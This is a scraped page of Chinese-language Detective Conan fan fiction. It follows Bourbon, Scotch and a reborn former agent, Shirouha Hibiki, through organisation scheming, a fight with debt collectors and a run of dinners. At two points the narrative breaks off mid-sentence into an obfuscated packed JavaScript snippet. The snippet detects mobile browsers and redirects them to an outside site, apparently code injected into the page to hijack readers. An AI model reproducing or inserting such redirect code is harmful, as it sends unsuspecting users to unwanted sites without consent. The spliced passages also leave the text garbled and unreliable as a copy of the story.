她正打量着,目光突然顿在一个穿黑色连帽衫的男人身上,那人手里攥着手机,指尖不停点着屏幕,一副焦躁不安的模样。 白羽响轻微地“咦”了一声。 “怎么?”波本低声问她。 “那个不停看时间的,是前两天新闻里的珠宝店抢劫犯嫌疑人吧?我昨天刚巧听见了相关的新闻。他作案手法特别业余,还不小心露出了手臂上的纹身,现在正被警方通缉。”白羽响指了指其中一个,有些诧异地问道,“难道那是组织的任务?” 波本顺着她的视线瞄了一眼,眉头几不可查地皱了皱,却没说话。 白羽响没再追问,目光又被角落里一个人吸引过去。那人裹着厚重的黑色风衣,连头带脸都用围巾蒙得严严实实,只露出一双眼睛,站在阴影里一动不动,反而比那抢劫犯更像“可疑分子”。她忍不住多看了两眼,越看越觉得不对劲:那人站姿挺拔,肩膀宽阔,哪怕裹着厚衣服,也能看出肌肉线条紧实,显然是常年锻炼的人。 于是,她指着这人继续和波本搭话:“那个人也很奇怪,参与认脸的集会,居然把脸遮得这么严实。组织现在招人是什么标准,这样的也能放进来?” 一直沉默的波本终于开口,声音冷了几分:“这不是你该关心的事。” 白羽响抿了抿唇,没再说话。 这算什么?表演变脸吗? 跟这种独断的人争辩,只会白费口舌。 不知道为什么,她总觉得自己说完刚刚那句话以后,波本的心情肉眼可见地变差,整个眉头都蹙在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939479|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一向游刃有余的神情消失了,取而代之的是强烈的烦躁和不悦。 就在这时,厂房的铁门“吱呀”一声被推开,一道熟悉的身影走了进来。 是苏格兰。他戴着深色兜帽,帽檐压得很低,几乎把半张脸埋在衣领里,一个人安静地站在门边,像融入了阴影里。 “不是说要开会,还不开始吗?” 底下有人不耐烦地嘟囔了一句,声音不大,却在空旷的厂房里格外清晰。 波本的神情持续地不悦,白羽响看着若有所思。 她原本以为,波本来这里是因为自己通过了贝尔摩德的考验,他打算带她认识未来可能合作的搭档,可看这模样,根本没有介绍的打算,只是站在原地,目光锐利地盯着底下的人,像是在观察什么。 于是白羽响的目光扫过那些不重要的人,落在苏格兰的身上。 两天不见,他换回了自己熟悉的深色外套,明明穿着和从前别无二致的衣服,她却能从他紧绷的肩线里看出他的疲累。他比上次见面时更沉默了,整个人像一座被浓雾笼罩的孤城,透着股拒人于千里之外的寂静。 白羽响心里升腾起一丝酸涩的情感。从前执行任务时,苏格兰虽话少,却总带着温和的气场,从不会像现在这样,浑身都透着“疲惫”二字。 是因为她的缘故吗? 下次见面的时候,向他打听打听好了。 正在胡思乱想的时候,身边的波本突然长长叹了一口气。白羽响被这声动静拉回神,回头看他。 “歪瓜裂枣。”波本朝着楼下瞥了一眼,语气里满是嫌弃,说着便往后缩了缩,靠在生锈的铁栏杆上,显然没打算露面。 白羽响跟着他往后躲了躲,虚靠在背后斑驳的白墙上,看着他这副模样,忍不住带着调侃开口:“怎么样,这种时候,是不是觉得我这个搭档还不错?” 波本斜过眼睛看了她一眼,竟然没有要反驳的意思。 “当然。”随后他顿了顿,“你和他们不一样。” 白羽响有些诧异,从波本这种爱挑刺的人口中听见夸奖,实在罕见。 没等她消化完这份意外,波本又开口了,语气里带着点揶揄:“你可是最好的。” 这话一出,白羽响毫不意外地扯了扯嘴角,发出一声冷笑。 果然,他哪会真心夸人? 可不知怎么,这句话又让她觉得格外熟悉。 恍惚间回到了她还是“响酒”的时候。那会儿波本刚进组织,凭着敏锐的洞察力,从几百人中精准找到了任务对象,悄无声息地窃取了对方的车钥匙。带着胜利果实来找她的时候,脸上带着少年人特有的锐气,连笑容都亮得晃眼。 她看着波本那张漂亮的脸蛋,笑着拍了拍他的臂膀:“你很厉害,或许将来甚至能超过莱伊,成为获得代号最快的人。在新人里,你算资质最好的之一了。” 那时的波本还带着点男孩气的不服,皱着眉追问:“只是‘之一’?我还不是最好的?” 她愣了一下,随即反应过来,这不过是少年想撒个娇,求一句肯定。 于是她放软语气,像哄小孩似的笑道:“怎么会?你是跟着我的,当然是最好的。” 记忆与现实重叠,白羽响看着眼前的波本,心里突然泛起一阵复杂的滋味。那时的波本眼里有光,有着少年锐气与纯粹的好胜心,不像如今满是算计与疏离。当年自己说那句“最好”时,虽带着几分哄劝的成分,算不上百分百纯粹的夸赞,可至少没有掺假的算计,比起此刻波本轻飘飘的一句,已经算诚意十足。 又或者,波本从头到尾都是这副模样?当年那副少年气的模样,不过是他博取好感的手段,她从未真正触碰到他最真实的一面。这个念头一冒出来,就像藤蔓似的缠上心头,让她莫名有些发闷。 她不敢深想,只能悄悄移开目光,重新看向了楼下的苏格兰。 从前在波本身上短暂得到过的踏实与信任,后来渐渐被苏格兰和其他并肩作战的搭档填满。 日子久了,关于波本的那些零碎记忆,也慢慢被她压在心底,不再刻意惦记。 7. 初见与债务 开车将白羽响送到了安全屋附近以后,波本再次调转车头,朝着城市周边驶去。 在一条黑暗的巷道中,他停下了车。副驾驶的门打开,苏格兰坐上了波本的车,二人一路无言地开到了一处城郊边上的小公寓,这是苏格兰在米花町留下的一处安全屋。 踏入这个不足三十平米的狭小空间内,褪去了伪装,他们还是降谷零和诸伏景光,一对从小一同长大的幼驯染,两个同样打入组织的卧底警.察。 这个安全屋已经很久没有住人了。苏格兰最近才回到米花町,还没有足够的时间来打扫。他洗了个杯子,给波本倒了一杯水。 两年多以前,他们被不同的部门派入组织,短暂地有过一两次的会面,但都不算是合作。为了谋求更快的晋升,波本选择了就去了情报组,有一段时间在日本和欧洲行动。期间他们一直在不同的区域执行任务,此时此刻算是第一次真正意义上的合流。 波本接过水杯,喝了一口之后,目光落在苏格兰身上。 很显然,他最近生活质量不好——眼底的青黑遮不住,下巴上冒出的胡茬也没打理,整个人透着股连轴转后的疲惫,波本心里的担忧又重了几分。 “那个任务,算是正式到你手上了吗?”他揉了揉眉头,问苏格兰道。 昨天组织下达的任务还清晰地印在脑海里:潜入警视厅,窃取一份案件的证据。这意味着,他必须以“苏格兰”的身份,重新潜回警视厅内部,在昔日同事的眼皮子底下完成盗取。 苏格兰点了点头:“是,而且是单人任务。” 波本继续一阵头痛。如果不是组织对他另有安排,没法抽身策应,他也不会想到去组织的初级接头点,想为苏格兰找个靠谱的搭档。 “怎么样?”苏格兰征求他的意见,“有合适的人选吗?” 波本放下水杯,摇了摇头,语气里满是嫌弃:“都不合适。自从琴酒把招人的事扔给科恩,这片最近招的全是些臭鱼烂虾。幸亏琴酒没把这事交给基安蒂,否则那疯女人准备拿枪把这群不上台面的人都杀了。如果……” 说到这里,他的话突然戛然而止。 如果响酒还活着的话……不会变成这样的。 他还记得自己刚开始接触组织的时候,先在外围做了一个多月的边缘行动。那些任务没有那么肮脏血腥,但是却能帮助他了解组织内部的生态。在某次完成了一个简单的任务之后,他第一次瞒着组织将任务目标的三千万日元存款纳为己用,并贿赂了一位与组织已经合作了多年的“前辈”。 那是他第一次向组织内部的人展示了自己的野心,他意图用这三千万日元,为自己寻找一条迅速进入核心的捷径。 那个人也的确给他指了一条明路:“你应该去找响酒。她是皮斯科的养女,爱尔兰的义妹。不过那位大小姐喜欢听话的人,用钱是解决不了她的。” 那是响酒这个名字第一次进入了他的视线,他揣测着这位“登天梯”是个什么年龄层次的女性,有着什么样的兴趣爱好,去设计一个她可能会喜欢的形象。 但是直到与响酒见面的当天,他还是有些吃惊。 响酒很年轻,长得也很漂亮,甚至眉目中也没有多少狠厉。她没有多问自己的来历,只是站在不远处反复地看着他的脸,看到最后,笑着说了句“你该不会是个高中生吧”。 那种口吻不像取笑,更不是嘲讽,那只是一句单纯的玩笑话。 他确实把自己装扮得很“乖巧”,毕竟给他提示的人给出的关键词是“听话”。但这句开玩笑一般的开场白却在他的意料之外,让他没能及时给出反应。 也是那天见完他,响酒急着要去做一个绑架未成年女孩的任务,正在打算联系组织中的人进行接应。 涉及未成年人的安全,他心中一动,尝试着和响酒主动请缨。 这是个大胆的决定,毕竟根据打听到的情报看,响酒不喜欢“不听话的人”。 不过,传闻未必可信。 就在他提出这个要求的时候,响酒没有一口回绝,而是饶有兴致地看了他一眼。 随后她说:“可以。我正缺一个帮手。” 那天,他和响酒一同坐在街角的咖啡店里,观察着从窗户外路过的人群,他们的目标被一群保镖簇拥着,背着书包放学,模样清秀像个乖乖女。 他偷偷看了一眼响酒的神色,只见她皱着眉头,似乎对要怎么下手没有打算。不过很快,她就做好了决定,叫来服务生结账。 “不能在闹市区开枪,等他们走进小路再行动吧。”响酒一边带着他拐进小路,一边确认周围的监控,突然想起了什么似的,回头和他说,“最好也不要开枪,我会快速放倒她身边的保镖,你顺势将她捂上嘴带走就好。” 指令很简单,但是为什么?他明明看到响酒手上的枪装了消音器。 那一刻,他开始揣测响酒是否只是不愿意在未成年人面前使用血腥手段。 他默默地点了点头,一边思考,一边观察,在目标回头说话的一瞬间,察觉了她书包上挂着一个相当小众的重金属乐队的挂件。 他心中一动,尝试着提出自己的看法。 “我想试试直接与她搭话。”他说,“我会想办法让她自己离开那群人,跟我走。” 这等同于他推翻了响酒提出的计划,作为组织新人而言,简直是胆大包天。 不过他赌对了。 响酒的目光落在他身上,犹豫了一下就说“可以试试”。 他得到了首肯之后,走上前装作那个女孩的同好搭讪,将她从保镖的手中秘密地带走了二十四小时,兵不血刃地完成了一次“绑架”。 回忆到这里,波本微微咬了咬唇。 时至今日,他依然忘不了与响酒刚认识的那天。 一天之内,她两次为他更改了决定。 那天他不仅获得了响酒的认可,也看到了血腥与肮脏的东西之外,尚未泯灭的人性。 一周前,得知响酒出事的消息,他迅速地从国外赶了回来。回到米花町的时候,他才从苏格兰的口中知道了这件事还有更加可怕的余波——响酒出事之前给苏格兰发了消息,不明真相的苏格兰在仓库起火之后试图冲进去救人,进而遭到了组织的怀疑。 而当他从贝尔摩德那里知道了这件事情的源头出在莱伊身上的时候,愤恨的情绪已经达到了顶峰。 响酒不会是叛徒。 虽然她心软,甚至会犹豫是否要在未成年人面前采取极端的手段,但波本知道,她绝不可能是叛徒。 她对组织忠心耿耿,她是被人陷害的。 他要代替被处死的响酒和受到怀疑的苏格兰向莱伊复仇。 苏格兰见他沉默,目光一时也朝着不远处的阳台而去。 波本说得没错。 自从响酒被组织当成叛徒炸死,日本关东地区的纳新彻底乱了套。琴酒随手把这摊子事扔给了科恩,可科恩虽深得琴酒信任,却是个彻头彻尾的外行,寡言少语,连与人沟通都费劲,哪懂什么筛选成员?招进来的人良莠不齐。 不止如此,最近这段时间组织里的风向发生了变化。行动组的人在组织中的地位水涨船高,而且几乎都变成了琴酒带领的那组人的一言堂。原本偶尔这群人还会和别的成员集会商议,最近架子越摆越高,一个都请不到场。 上次开会连贝尔摩德都没去,整个房间里坐着的级别最高的人已经变成了波本,害得他临时受命,莫名其妙地接下了一个和自己的行动时间冲突的任务,无法从旁协助。 因此,他要做好最坏的准备。 如果有必要,他可以接受自己牺牲,以换取警方的线索不落入组织的手中。 “那个珠宝店的抢劫犯,是个业余货色对吧?”他突然发问,声音十分平静。 波本点了点头。注意到那个新闻的不只有白羽响,作为组织中的情报搜集人员,他向来都对每天发生的时新事了如指掌。这桩拙劣的抢劫案是那个人进入组织的投名状,可做得实在是破绽百出,除了在规定时间内逃走了以外,根本就是惹了一身腥。 这种人直接灭口都浪费一枚子弹,最好的选择就是直接卖给警方,还能送给熟人积攒功勋。 “就他吧。”苏格兰轻声说道。 “他?”波本的眼睛猛地睁大,难以置信地看向他,足足看了几秒,才从苏格兰平静的神情里,读懂了他的打算,他立刻摇头,语气带着急意,一口回绝,“不不,Hiro,你不能这么做!” “我可以这么做。” 熟悉的旧称没有唤回苏格兰的决定,在他颓然的面貌中,眸光正在慢慢变亮。他做出了这样的决定,就好像在巨大的打击之后找回了自己一般。 波本下意识压低声音,语速快得几乎有些发颤:“我不会同意你做这种决定,这个任务必须成功!你知道的,因为你误入了响酒死亡的现场,现在有人盯上你了。” “Zero。”苏格兰轻声打断了他,“组织的要求是这件东西必须拿回来,而非销毁。如果我们的推测没错,那一定是一项重要证物,它不能回到组织手中。” 他不知道组织给他的证物袋号意味着什么,但是需要冒险去取的东西,或许蕴含着重大的线索。 想到这里,苏格兰的脸上反而露出了一丝如释重负的笑意:“你放心,我对自己的事有数。”

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于是她就好像准备狩猎的猫在假寐一般,故意放慢动作,拿起一瓶水假装查看生产日期,视线却透过货架缝隙盯着那两人。 姿势僵硬,眼神看着完全不同的地方,一看就不是来买东西的。 难道是警方的人?毕竟三木一海被绑架的案子刚发生,她作为波本的“同伙”,被盯上也有可能。 要试探这些人究竟是不是外行很简单,只要让他们熟悉的环境生变就行了。 白羽响放下那瓶水,突然转身朝着出口走,眼角的余光清楚看到那两人立刻跟了上来,脚步仓促得差点撞到旁边的老太太。她心里有了数——不是警方,警方跟踪不会这么笨拙,这两人更像是来找麻烦的小混混。 是她这具身体的原主留下的旧怨,还是她自己执行任务时惹来的麻烦? 白羽响不动声色地改变路线,不再往热闹的主街走,反而拐进了旁边一条狭窄的小巷。巷子里没有路灯,只有两侧住户窗户透出的微弱灯光。她的安全屋就在这附近,但是她不打算躲藏,而是打算在小巷里一劳永逸。 她的手中握着一把刚从集市中买的折叠刀,虽然现在的她力量有限,但是根据有利地形将其中一个人制伏应该不成问题。 身后的脚步声越来越近,几乎贴到了后背。白羽响突然俯身,借着一个垃圾桶的掩护往侧后方一滑,正好避开左侧男人挥来的拳头。没等对方反应,她攥着折叠刀的手抵住男人后腰,另一只手猛地扣住他的手腕,顺势往废弃的垃圾桶上狠狠按去。 “咚”的一声闷响,男人疼得发出了一声嚎叫。跟着他一起进来的那个人比被她制服的那个瘦一些,看到这一幕,往后退了两步,似乎在犹豫要不要逃跑。 “说,为什么跟踪我?” 白羽响直接利落地问他。 被按住的男人却梗着脖子,嘴里不干不净地骂起来,污言秽语像潮水般涌出来,听得人皱眉。 白羽响没再废话,抬手就是一巴掌,朝着对方的左耳根下扇区。“啪”的一声脆响后,男人瞬间没了声音,捂着下巴疼得直冒冷汗。 “很痛吗?看来你的妥瑞氏症治好了。”白羽响笑了笑,用刀朝着另一个人比划了一下,“来,你来回答我。” “我们是……是来催债的!”那个瘦子惊魂未定,但依然结结巴巴地说着,像是在给自己打气,“之前你说好……每个月十五号打五十万日元给我们老大,这个月非但没给,还从酒店跑了,躲了两天都没见人影,所以……” 白羽响微微皱眉。 催债的?而且是“每个月五十万”? 今天已经是十七号,确实过了约定时间。组织的打款速度很快,一次任务带来的巨额收入当然比五十万日元要多。但是,可“每个月”这三个字,再结合原主日历上一笔笔勾掉的大额数字,那些巨额的负债恐怕不是一两次任务可以短暂结清的。 “你们怎么找过来的?”她一边问着,一边把被她卸了下巴的那个人扔在了地上,由他嚎叫,目光却没离开那瘦子,死死地盯着他的一举一动。 瘦子咽了口唾沫,声音发颤:“你以前……经常去那片集市赌钱,我们头派了五组人盯着,守了两天,才终于在集市里看到你……” 赌钱? 白羽响心里瞬间明白了。 那片集市人多眼杂,东西便宜又无人看管,角落藏着地下赌局也不奇怪,毕竟那的确是个藏污纳垢的好地方。 原主的巨额负债,看来就是这么来的。 8. 铁公鸡的请客 安全屋内,波本从沙发上站起朝着窗边走去,皮鞋踩在地板上发出轻微的声响。 站定之后,他伸出手指勾住了百叶窗,一束阳光打了进来,照在他的脸上。 “我知道,你一定不喜欢和赌鬼合作。” 波本的目光掠过百叶窗外阳台角落堆积的烟蒂,眉头几不可查地蹙了一下。 在进入组织之前,他的幼驯染可没有抽烟的习惯,最近他似乎抽得格外凶,连烟灰都散落在阳台的瓷砖缝里,没来得及清理。 他收回视线,重新看向沙发上的苏格兰,继续尝试说服他:“但是做搭档,她很合适。比起接头点那些拖泥带水的货色,她够果断,遇事不会慌。而且我看得出来,她对你有好感,会愿意配合你打掩护。” 虽然他当时说了白羽响莽撞,但打在三木一海头上的那一杆子下手相当干脆利落,那个瞬间,他产生了怀疑。 是真的莽撞,还是说…… 她根本就是个老手? 不过苏格兰的重点似乎不在“白羽响适不适合做搭档”上。 他抬眼诧异地看了好友一眼,声音里带着疑惑:“她?你是说那位白羽小姐,是个赌徒?” “没错。当初贝尔摩德把她扔给我带的时候,我查过她的过往,警方的档案、组织的观察,都证实了她今年起,常去地下赌场挥霍,欠了赌场的御头不少债。”他顿了顿,补充起细节,“她原本是孤儿,后来被一户姓白羽的人家收养,学生时代起就寄宿女子美术学院,不过她各科成绩都很一般,毕业以后也没什么建树,最后转行去做了别的。从学生时代起,她的性格就很孤僻,没什么朋友。” 说完,他沉默了几秒钟。 “学生时代的孤僻”……这并不是一个陌生的词。人有种种原因远离集体,且未必真是因为性格上真的有缺陷。 只是如果她真的是因为这种原因,最后把时光都消磨在赌桌之上,理应会表现得比现在看起来更加麻木和被动。 可目前接触下来,她似乎对很多事还有自己的想法,精神状态虽然糟糕,但也没有到最坏的地步。难道说,靠近组织对她来说才是一个舒服又刺激的选择? 波本一边思考,一边继续说着他打听到的内容。 “总之,收养她的家庭在她成年之后,因为她的债务问题,把她扫地出门了。人是贝尔摩德看中的,据说在此之前已经在组织的视线内观察过她一段时间,间接参与过几个边缘案件,不算完全的新人。”波本顿了顿,继续说道,“但她没有用枪的经验,也没有驾照,最好不要指望她全面配合。” 赌钱赌到债务问题频出的迷途羔羊…… 苏格兰的眉头皱了皱。 那天,他刚把白羽响送到米花大饭店门口。看着她推开车门,黑色的长发被晚风拂起,他忽然就想起了曾和响酒在这家饭店执行过任务。 他突然就想下车抽一根再走,正在伸手朝着烟盒与打火机而去的时候,不远处的饭店门口,白羽响推开玻璃门的动作顿住了。 她突然回过头来。 隔着十几米的距离,酒店门廊上的光在她身上勾勒出一圈柔和的光晕,模糊了她的轮廓,却唯独照亮了她的眼睛。 那双眼睛。 明亮、关切、有力,比他手中烟的星火更像是一团燃烧的火苗。 熟悉感在某个瞬间陡然而生,他盯着那双眼时,她再次回过头去,从他的视线中消失了。 波本很敏锐地察觉他在走神:“你也觉得她可疑?” “‘也’?”苏格兰回神思考了一会儿,缓缓摇了摇头,“我不知道。” 他与白羽响的接触很少,谈不上熟悉。组织里人人都有秘密,总不能见每个人的第一面就觉得对方可疑。何况这种事情,他原本也不如波本擅长。 波本揣测着他的真实想法,但没有再追问。目睹了响酒的死状之后,苏格兰的情绪一直比较低落。所有能够让他思考起来的其他事,都算是从那天的漫天火光中走出去的途径,波本不打算干涉。 他把话题绕回了组织的任务:“关于那项任务,还没给出具体的行动时间,应该就是不紧急,我们需要好好做准备。必要的时候,也可以打探一下那个证物编号究竟和什么案件有关。” 好在警视厅是一个熟悉的地方,不需要提前踩点,这给他们留下了更加充足的时间。 波本思虑再三,再次开口说道:“至于有没有更好的计划,我们从长计议。” “嗯。” 这次苏格兰点了点头,算对这件事做出了退让和妥协。 白羽响并不知道,安全屋里的两个男人已将她纳入高难度任务的计划中。此刻她正一只手按着被撂倒在地的催债人,另一只手从口袋里掏出银行卡,指尖夹着卡片晃了晃。 “这张银行卡里应该还有四百万日元,密码是前天彩票大奖的后六位数。” 那是她昨天半夜刚改的。 钱嘛,总要拿在手里才算安心。密码更是不能和自己的信息有半点相关,到时候白白便宜了别人。 不过,她没有急着递卡,而是用目光牢牢锁住对面的瘦子:“我一共欠了多少?” 瘦子被她的眼神看得发怵,他明明是来催债的,却完全没有理直气壮的味道。 “一、一亿日元不到。”他小声回答。 “……” 暗巷里瞬间陷入沉默,只有两侧窗户透来的微弱灯光,映着白羽响毫无波澜的脸。 两秒后,她面不改色地点了点头。 这数额堪比东京市区一套豪华公寓,刚好卡在她的心理承受极限。幸好她早就在原主的日历上,把那些零散的欠款数字整合相加过,否则此刻恐怕也要被这天文数字惊得倒吸一口冷气。 “我会尽快还上。”她将卡递给瘦子,指尖松开的瞬间又补充了一句,“让你们的头给我少算点利息,别太贪心了。把我逼急了,大不了去警局走一趟。你们的地下赌场,想必不想跟我一起完蛋。” 瘦子的嘴角抽搐了一瞬,双手接过银行卡,连密码的真假都不敢多问,眼睛一个劲往被按在地上的同伙那边瞟,显然想尽快脱身。 白羽响松开了手,不轻不重地踢了一脚那个对她出言不逊的蠢货:“滚!下次别落我手里,我不喜欢有人对我说脏话。” 被踢的男人捂着还在疼的下巴,连哼都不敢哼一声,跟着瘦子踉踉跄跄地跑出暗巷,很快就消失在夜色里。白羽响看着两人的背影,转身朝着自己的安全屋走去,手里还攥着那把没收回的折叠刀。 她当然可以用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939481|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武力拒绝这一次的催债,但她没有这么做。 组织里所有人都知道,响酒是个守规则的人,甚至有些理想和守旧。 就好比组织要求她成为新人的桥梁,她就真的恪守职责地在做一样——每一个进入她视野的新人,都会得到她一定的关照。 那些人大多身怀绝技,但又有着最为不堪的过往:有的家破人亡,有的走投无路,有的负债累累……很多人找上组织的初心,只是为了谋求继续往下前行的道路,并非都如那些行动组的核心人员一般嗜杀成性。因此只要能力范围之内,她都会出手相帮。 而她现在顶着白羽响的身份,欠着债、活在底层,恰好符合组织新人的常态。何况她现在正使用着原主的身体,处理她的债务自然也是天经地义的事情。 白羽响推开安全屋的门,舒了一口气。 一亿日元的债,加上即将到来的未知任务,接下来的日子,恐怕不会轻松。不过她心里却没多少烦躁。这个误入歧途的姑娘,虽然给她带来了一些遗留问题,但依然应该被感谢。 至少此刻,她拥有一个相对健康的身体,一个还算安全的落脚点。 对于一个刚死过一次的组织成员来说,这是一件多么幸福的事情。 她把刚买的蜡烛、应急灯往地上一搁,没急着整理,老旧的安全屋被她的行李嚯嚯得杂乱无章,但她却很享受这种不急着整理东西的感觉。 阳光透过窗户洒在身上,暖融融的。她打开电视机,任由嘈杂的新闻在耳边作响,伴着噪音,思考起后面的计划。 首先,她必须开始寻找下一个安全屋了。 原主常去的地下赌场离这儿太近,她又分不清谁是原主的熟人,保不齐哪天就被完全陌生的人搭讪,还是早点搬走比较稳妥。 其次,钱的事得抓紧想办法。催债人虽然一时半会儿不会来找她的麻烦,但她实在不喜欢那种被人盯着催促的感觉,因此最好快点将债务还清。有必要的话,她需要去一趟曾经的安全屋,取一些响酒名下的财产。 最后,就是刚刚因为想要快点了结有人催债的事,她把自己的卡给了那两个混混。现在她的身边只有一部分现金,组织下一个任务又不知道什么时候来。 想到钱,她突然想念起在车上和她斗嘴的波本。那个男人浑身上下最不缺的就是钱,可惜是只一毛不拔的铁公鸡,想从他那儿蹭点好处,恐怕比从琴酒手里要经费还难。 正在她胡思乱想的时候,口袋里的手机突然响了起来。 她掏出来一看,屏幕上跳动的号码让她挑了挑眉。 可不就是那个刚被她惦记了好一会儿的“铁公鸡”吗? 白羽响按下接听键,语气里带着几分调侃的笑意:“怎么了波本先生,这才分开多久,又有新任务了?” 她现在可巴不得任务快点来呢。 电话那头传来波本熟悉的声音,却没提任务的事,反而漫不经心地对她进行邀约:“那倒不是。不过我打算请你吃晚饭,白羽小姐愿意赏个脸吗?” “请吃饭?”白羽响的眼睛亮了亮,刚才的烦躁瞬间烟消云散,嘴角的笑意忍不住扬了起来。 看来今晚不仅不用啃面包,还能蹭顿好的,真是一件意外之喜。 “乐意至极!” 9. 赔了饭钱还折表 半小时后,白羽响准时下楼,坐上了波本的车。 定睛一看,波本又换了一套黑色西装,款式比中午见面时的那件要低调些。 这么短的时间,他还回去换了个衣服?总不能是为了和她出去吃饭特地换的吧? 白羽响心里犯嘀咕,嘴上却没多问。 波本的车子七拐八绕,最终停在一个隐在银杏树荫里的小院前。他率先下车,走进去与老板攀谈,白羽响顺便观察着周围的环境。 院子里的枯山水做得很别致,一看就知道是请了名家来设计。她看了一眼波本的背影,还以为这个人会更中意西餐厅或是酒吧那样的地方,没想到竟然选择了一处私密而高档的日式庭院。 二人坐定,波本将菜单递到她的面前:“想吃什么随便点,今晚我请客。” 白羽响看着他脸上温和的笑容,几乎很难把这个家伙和早上说着不愿意和她分赃的男人联系到一起。 不过,她得承认,此时此刻,这句话在负债累累的人的耳朵里,比情话还动听。 这天晚上,他们吃了一顿很“安详”的饭——波本既没开口找茬,也没有肆意地打探消息,就好像那只是事情告一段落之后,出来吃了一顿美味的大餐。 临走的时候,他甚至绕过了周边一堆高档的料理店,去小巷的甜品店买了两个相当有艺术感的冰激凌。 波本把冰激凌端给白羽响的时候,她一直在笑。 “这是什么?哄小孩子的吗?”她接了过来,欣赏着手上做得花里胡哨的冰激凌。 作为甜品来说,它的价格有点过于高昂了。 “不喜欢?”波本挑了挑眉。 “那倒不是。”白羽响摇了摇头。 她只是很少有这样的体验。日常而松弛,就像在约会一样。 不过,她怎么也没想到,那个晚上只是个开始。 接下来三天,波本的邀约就没断过。 二人从大师手作寿司吃到小众法国料理,每个晚上不是在高档餐厅里用餐,就是在去餐厅的路上,花钱如流水,看得她都忍不住咋舌。 第一天收到邀约的时候,她还留着心眼,甚至悄悄备好了现金,做好了“波本请客她买单”的准备,饭桌上更是时刻警惕,等着对方突然发难。可那顿饭从头到尾都风平浪静,真就只是安安静静吃了一顿饭,连聊天都只聊些无关紧要的菜式口味。 第二天再次收到波本的邀约,白羽响甚至下意识翻了翻手机日历,反复确认自己没有在重生后又陷入时间倒流的死循环,才狐疑地出了门。结果依旧如此,波本全程温和有礼,只字不提组织的事,饭后还主动送她回安全屋,体贴得让她浑身不自在。 第三天再接到波本邀约的时候,白羽响已经有了一种既来之则安之的淡定。 她坐在波本的车上,观察着他的一举一动。 她发现,波本每次来见她,都会换一身全新的打扮——第一天是剪裁利落的黑色西装,第二天是休闲的驼色风衣,今天则穿了件浅灰色针织衫,发梢还微微上翘,看起来蓬松又柔软,显然出门前特意洗了头发。金色的发丝垂在耳边,随着车子的前进轻轻晃动,竟莫名让人有种想伸手摸一把的冲动。 赏心悦目啊。 不过这个人,出来见组织里的手下还要特地打扮一番? 白羽响在心里啧啧两声。 俗话说得好,无事献殷勤,非奸即盗。 若是从前的响酒,对波本的印象还停留在那个爱撒娇的少年时期,或许会觉得这只是他爱体面的习惯。可现在的她,早已见识过波本的算计与狡诈,前几天还被他各种压迫,怎么可能突然就被好吃好喝供着? 除非……这家伙根本就是有什么其他的动机。 但波本不开口,白羽响也只当自己只是来吃饭的,坚决不开口多问一句。只要这几顿饭不是她的买命财,她就当波本只是在给前几天的出言不逊赔罪。 不过很快,他温和有礼的面孔结束在了一句状似漫不经心的话上。 “你的饮食习惯,看起来不太像是个职业模特。” 他说这句话的时候,白羽响正在用筷子夹起一块甜点蛋糕。商家把它做得像是一只胖乎乎的兔子,很是可爱。 白羽响面不改色地把蛋糕夹进了自己的盘子,心安理得地咬了一大口。 她不打算复刻原主的人生目标。让她去舞台上去做什么闪闪发光的明星模特实在是太为难人了,几天没摸到枪都能让她觉得没有安全感,何况是被这么多双眼睛盯着。 “从前那么在乎是因为这是我吃饭的本事,现在有其他的门路,而且要求我身体健康有力气逃跑,我不想做捡了芝麻丢了西瓜的事。”说着,她抬眼看向波本,主动把话题拉了回来,“你这几天突然频繁请我吃饭,不会就是为了观察我的饮食习惯吧?” 波本细致地拆解着一条多刺的烤鱼,用银质筷子灵巧地挑出细刺:“你最近的生活很规律也很健康。” 又是答非所问。 白羽响对美食失去了兴趣,抬头打量波本的动作。波本盘子里那条鱼看起来是有些不好对付,他挑得专心致志,头都没抬一下。 她有预感,前三天的晚餐只是前戏,而波本今天平凡的开场白后面,一定跟着其他的内容,而那才是波本准备了好几天的重头戏。 “最近还有在画画吗?”他问道,“学生时代的爱好,放弃了还是很可惜的。” 原主会画画?白羽响挑了挑眉毛。她倒是和这些高雅的艺术没什么缘分。 考虑到原主留下的东西里没有类似于颜料之类的东西,她摇了摇头:“没有了,我现在优先考虑填饱肚子。” 波本点了点头:“说的是。白羽小姐会开车吗?” 她当然会开车,那是组织成员的基本技能。但换了个身体之后,她也面临了一种新的情况。 “我没有驾照。”她回答道。 波本笑着说道:“那可不太方便。我的驾驶技术还不错,你可以拜我为师。回头一起出去兜风吧。” 白羽响弯了弯嘴角。直觉告诉她,波本一定不会是一个好老师。 “有什么事,干脆直说好了。” 铺垫了三天之久,她很期待波本究竟想和她说点什么。 波本笑着看了她一眼,似乎很满意她的敏锐和直接。 不过,他把话题引向了一个完全不相关的话题。 “前两天我们在接头地点见过的那个珠宝店的抢劫犯被捕了,你应该已经看到新闻了吧?” 白羽响的思绪跟着他的话转移,想起了那天在接头地点看到的那个人。那天他反复查看手机,眉头紧巴巴地皱着,一副烦躁不堪的模样。 那则被捕新闻是今早刷到的,她原本没在意——组织外围成员本就是工具人,命不值钱,没人会特意施救。她会多看两眼,只因为报道的主持人是水无怜奈,组织代号“基尔”,之前因“锄奸有功”被Boss赏识,现在在日卖电视台工作,外表温柔秀丽,手段却十分狠辣。 